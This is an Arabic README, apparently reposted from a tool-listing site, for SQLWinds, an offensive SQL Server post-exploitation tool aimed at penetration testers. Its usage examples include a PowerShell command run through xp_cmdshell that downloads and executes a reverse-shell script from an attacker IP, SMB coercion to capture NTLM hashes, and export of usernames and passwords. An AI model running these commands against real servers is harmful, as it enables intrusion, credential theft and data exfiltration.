SQLWinds

أداة تقييم أمان SQL وأداة ما بعد الاستغلال

SQLWinds هي أداة سطر أوامر لاختبار الأمان واستغلال Microsoft SQL Server. وهي توفر بيئة تفاعلية لتحليل الخوادم بعمق، وتصعيد الصلاحيات، وتنفيذ الهجمات، والتنقل عبر الشبكات باستخدام أوامر متخصصة لمهام مثل تنفيذ الكود في الذاكرة واستكشاف قاعدة بيانات SCCM.

📖 التوثيق والموارد

روابط سريعة:

• التوثيق الكامل والويكي - دليل الاستخدام الكامل ومرجع الأوامر
• الإبلاغ عن مشكلة - هل وجدت خطأ أو لديك طلب ميزة؟
• أحدث إصدار - تحميل أحدث نسخة

الميزات

• مصادقة متنوعة: يدعم SQL، ومصادقة Windows المتكاملة (--integrated)، وتفويض Kerberos (--kerberos مع --user/--pass).
• تعداد شامل:
  • معلومات الخادم، وقواعد البيانات، والجداول، والأعمدة، والمستخدمون، والصلاحيات.
  • تدقيق إعدادات الأمان (xp_cmdshell، CLR، OLE، وغيرها).
  • اكتشاف البيانات الحساسة واستخراج الأسرار.
  • تعداد الخوادم المرتبطة واستغلالها.
• ما بعد الاستغلال والحركة الجانبية:
  • تنفيذ الكود: تمكين واستخدام xp_cmdshell، وإجراءات OLE Automation (sp_oacreate)، وتكامل CLR.
  • CLR في الذاكرة: تحميل وتنفيذ تجميعات .NET مباشرة من الذاكرة دون حفظ ملفات على القرص (:memclr).
  • سرقة بيانات الاعتماد: فرض مصادقة SMB إلى مسار UNC لهجمات الترحيل (:unc_smb).
  • التفاعل مع السجل: قراءة مفاتيح وقيم السجل عبر xp_regread.
  • الثبات: إنشاء وسرد وتنفيذ وظائف SQL Agent Jobs.
  • سرقة البيانات: رفع/تنزيل الملفات وتصدير نتائج الاستعلامات إلى CSV/JSON.
• التفاعل مع قاعدة بيانات SCCM: (إذا كانت قاعدة البيانات الهدف هي SCCM)

التثبيت والترجمة

بناء سريع

يحتوي المستودع على سكربت build.bat للترجمة بسهولة على Windows:

.\build.bat

سيتم وضع الملف التنفيذي SQLWinds.exe المترجم في مجلد bin\Release\.

بناء يدوي

1. تأكد من تثبيت .NET Framework (≥ 4.6.1) أو .NET SDK.
2. استنسخ المستودع:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. ترجمة الحل:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

الاستخدام

الاتصال الأساسي

# مصادقة SQL
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# مصادقة Windows (سياق المستخدم الحالي)
SQLWinds.exe --server sql01.corp.local --integrated

# تفويض Kerberos (مع توفير بيانات الاعتماد)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# الاتصال وتنفيذ أمر واحد
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

خيارات سطر الأوامر الشائعة

وضع REPL التفاعلي

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

مرجع أوامر REPL الكامل

مثال: استخدام :plain للسكربتات الكبيرة

يعد أمر :plain ضروريًا لتنفيذ سكربتات SQL الكبيرة متعددة الأسطر.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. اكتب :plain ثم اضغط Enter.
2. الصق أو اكتب سكربت SQL الكامل.
3. في سطر جديد، اكتب :execute لتشغيل السكربت بالكامل أو :cancel للإلغاء.

أمثلة

1. التدقيق

SQLWinds.exe --server dc01 --integrated --security-audit 

2. الاستفادة من xp_cmdshell لتنفيذ الكود

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# في REPL الذي يُفتح:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. تنفيذ CLR في الذاكرة (بدون ملفات)

# قم بترجمة تجميع .NET إلى DLL (مثل CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. سرقة تجزئات NetNTLMv2 عبر SRelay

# على جهازك: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. استغلال قاعدة بيانات SCCM

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. سرقة البيانات

# تصدير البيانات الحساسة إلى CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# تنزيل ملف مخزن في قاعدة البيانات
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 المساهمة والدعم

نرحب بالمساهمات! إذا كانت لديك أفكار للتحسين أو وجدت أي مشكلات:

1. راجع الويكي للتوثيق
2. ابحث في المشكلات الحالية لتجنب التكرار
3. أنشئ مشكلة جديدة بمعلومات مفصلة حول اقتراحك أو تقرير الخطأ

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

الاعتمادات

تم التطوير بواسطة blue0x1.